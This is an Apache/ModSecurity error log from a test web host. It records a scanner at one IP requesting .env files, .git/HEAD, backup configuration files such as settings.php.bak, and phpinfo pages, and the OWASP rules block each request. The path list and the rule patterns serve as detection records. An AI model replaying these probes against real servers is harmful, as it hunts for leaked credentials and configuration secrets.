[Sat Jan 17 23:17:31.333226 2026] [:error] [pid 1465640] [client 185.177.72.60:34438] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.queue"] [unique_id "aWwKe96syg3vTOmgP2tOLAAAAAQ"]
[Sat Jan 17 23:17:31.333379 2026] [:error] [pid 1465640] [client 185.177.72.60:34438] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.queue"] [unique_id "aWwKe96syg3vTOmgP2tOLAAAAAQ"]
[Sat Jan 17 23:17:31.334727 2026] [:error] [pid 1465637] [client 185.177.72.60:34424] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.netlify"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.netlify"] [unique_id "aWwKe0wjzlOY5uJ3CcDeDQAAAAE"]
[Sat Jan 17 23:17:31.334920 2026] [:error] [pid 1465637] [client 185.177.72.60:34424] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.netlify"] [unique_id "aWwKe0wjzlOY5uJ3CcDeDQAAAAE"]
[Sat Jan 17 23:17:31.335066 2026] [:error] [pid 1465637] [client 185.177.72.60:34424] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.netlify"] [unique_id "aWwKe0wjzlOY5uJ3CcDeDQAAAAE"]
[Sat Jan 17 23:17:31.336348 2026] [:error] [pid 1484015] [client 185.177.72.60:34454] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.worker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.worker"] [unique_id "aWwKe2tD9qS7bG6S-BmDAgAAAAk"]
[Sat Jan 17 23:17:31.336554 2026] [:error] [pid 1484015] [client 185.177.72.60:34454] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.worker"] [unique_id "aWwKe2tD9qS7bG6S-BmDAgAAAAk"]
[Sat Jan 17 23:17:31.336693 2026] [:error] [pid 1484015] [client 185.177.72.60:34454] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.worker"] [unique_id "aWwKe2tD9qS7bG6S-BmDAgAAAAk"]
[Sat Jan 17 23:17:31.336905 2026] [:error] [pid 1465656] [client 185.177.72.60:34452] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.cache"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.cache"] [unique_id "aWwKewuey-R96faqoviUQQAAAAg"]
[Sat Jan 17 23:17:31.337091 2026] [:error] [pid 1465656] [client 185.177.72.60:34452] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.cache"] [unique_id "aWwKewuey-R96faqoviUQQAAAAg"]
[Sat Jan 17 23:17:31.337273 2026] [:error] [pid 1465656] [client 185.177.72.60:34452] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.cache"] [unique_id "aWwKewuey-R96faqoviUQQAAAAg"]
[Sat Jan 17 23:17:31.456001 2026] [:error] [pid 1465638] [client 185.177.72.60:34482] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/configuration.php.bak"] [unique_id "aWwKe3yeJt1bTz5T3HhLSgAAAAI"]
[Sat Jan 17 23:17:31.456362 2026] [:error] [pid 1465638] [client 185.177.72.60:34482] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/configuration.php.bak"] [unique_id "aWwKe3yeJt1bTz5T3HhLSgAAAAI"]
[Sat Jan 17 23:17:31.456533 2026] [:error] [pid 1465638] [client 185.177.72.60:34482] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/configuration.php.bak"] [unique_id "aWwKe3yeJt1bTz5T3HhLSgAAAAI"]
[Sat Jan 17 23:17:31.456853 2026] [authz_core:error] [pid 1465654] [client 185.177.72.60:34534] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/phpinfo.php
[Sat Jan 17 23:17:31.459231 2026] [:error] [pid 1465639] [client 185.177.72.60:34522] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aWwKe7t90umalWjOW8vyawAAAAM"]
[Sat Jan 17 23:17:31.459415 2026] [:error] [pid 1465639] [client 185.177.72.60:34522] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aWwKe7t90umalWjOW8vyawAAAAM"]
[Sat Jan 17 23:17:31.459544 2026] [:error] [pid 1465639] [client 185.177.72.60:34522] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aWwKe7t90umalWjOW8vyawAAAAM"]
[Sat Jan 17 23:17:31.462244 2026] [:error] [pid 1484015] [client 185.177.72.60:34550] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.deploy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.deploy"] [unique_id "aWwKe2tD9qS7bG6S-BmDAwAAAAk"]
[Sat Jan 17 23:17:31.462424 2026] [:error] [pid 1484015] [client 185.177.72.60:34550] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.deploy"] [unique_id "aWwKe2tD9qS7bG6S-BmDAwAAAAk"]
[Sat Jan 17 23:17:31.462564 2026] [:error] [pid 1484015] [client 185.177.72.60:34550] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.deploy"] [unique_id "aWwKe2tD9qS7bG6S-BmDAwAAAAk"]
[Sat Jan 17 23:17:31.462722 2026] [:error] [pid 1465656] [client 185.177.72.60:34538] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/web/.env"] [unique_id "aWwKewuey-R96faqoviUQgAAAAg"]
[Sat Jan 17 23:17:31.462906 2026] [:error] [pid 1465656] [client 185.177.72.60:34538] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/web/.env"] [unique_id "aWwKewuey-R96faqoviUQgAAAAg"]
[Sat Jan 17 23:17:31.463047 2026] [:error] [pid 1465656] [client 185.177.72.60:34538] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/web/.env"] [unique_id "aWwKewuey-R96faqoviUQgAAAAg"]
[Sat Jan 17 23:17:31.554044 2026] [:error] [pid 1465636] [client 185.177.72.60:34646] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bootstrap/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/bootstrap/.env"] [unique_id "aWwKe1S2Pw3fqVRuRUA6OQAAAAA"]
[Sat Jan 17 23:17:31.554325 2026] [:error] [pid 1465636] [client 185.177.72.60:34646] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/bootstrap/.env"] [unique_id "aWwKe1S2Pw3fqVRuRUA6OQAAAAA"]
[Sat Jan 17 23:17:31.554527 2026] [:error] [pid 1465636] [client 185.177.72.60:34646] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/bootstrap/.env"] [unique_id "aWwKe1S2Pw3fqVRuRUA6OQAAAAA"]
[Sat Jan 17 23:17:31.555001 2026] [authz_core:error] [pid 1465652] [client 185.177.72.60:34592] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/info.php
[Sat Jan 17 23:17:31.555977 2026] [:error] [pid 1465640] [client 185.177.72.60:34618] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /packages/api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/packages/api/.env"] [unique_id "aWwKe96syg3vTOmgP2tOLgAAAAQ"]
[Sat Jan 17 23:17:31.557179 2026] [:error] [pid 1465637] [client 185.177.72.60:34662] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env"] [unique_id "aWwKe0wjzlOY5uJ3CcDeDwAAAAE"]
[Sat Jan 17 23:17:31.557366 2026] [:error] [pid 1465637] [client 185.177.72.60:34662] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env"] [unique_id "aWwKe0wjzlOY5uJ3CcDeDwAAAAE"]
[Sat Jan 17 23:17:31.557515 2026] [:error] [pid 1465637] [client 185.177.72.60:34662] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env"] [unique_id "aWwKe0wjzlOY5uJ3CcDeDwAAAAE"]
[Sat Jan 17 23:17:31.558527 2026] [authz_core:error] [pid 1484015] [client 185.177.72.60:34626] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/phpinfo.php
[Sat Jan 17 23:17:31.559026 2026] [:error] [pid 1465640] [client 185.177.72.60:34618] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/packages/api/.env"] [unique_id "aWwKe96syg3vTOmgP2tOLgAAAAQ"]
[Sat Jan 17 23:17:31.559151 2026] [:error] [pid 1465639] [client 185.177.72.60:34566] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/database.php.bak"] [unique_id "aWwKe7t90umalWjOW8vybAAAAAM"]
[Sat Jan 17 23:17:31.559173 2026] [:error] [pid 1465640] [client 185.177.72.60:34618] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/packages/api/.env"] [unique_id "aWwKe96syg3vTOmgP2tOLgAAAAQ"]
[Sat Jan 17 23:17:31.559459 2026] [:error] [pid 1465639] [client 185.177.72.60:34566] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/database.php.bak"] [unique_id "aWwKe7t90umalWjOW8vybAAAAAM"]
[Sat Jan 17 23:17:31.559591 2026] [:error] [pid 1465639] [client 185.177.72.60:34566] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/database.php.bak"] [unique_id "aWwKe7t90umalWjOW8vybAAAAAM"]
[Sat Jan 17 23:17:31.561270 2026] [:error] [pid 1465656] [client 185.177.72.60:34630] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sites/default/settings.php.bak"] [unique_id "aWwKewuey-R96faqoviUQwAAAAg"]
[Sat Jan 17 23:17:31.561441 2026] [:error] [pid 1465656] [client 185.177.72.60:34630] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/sites/default/settings.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /sites/default/settings.php found within REQUEST_FILENAME: /sites/default/settings.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sites/default/settings.php.bak"] [unique_id "aWwKewuey-R96faqoviUQwAAAAg"]
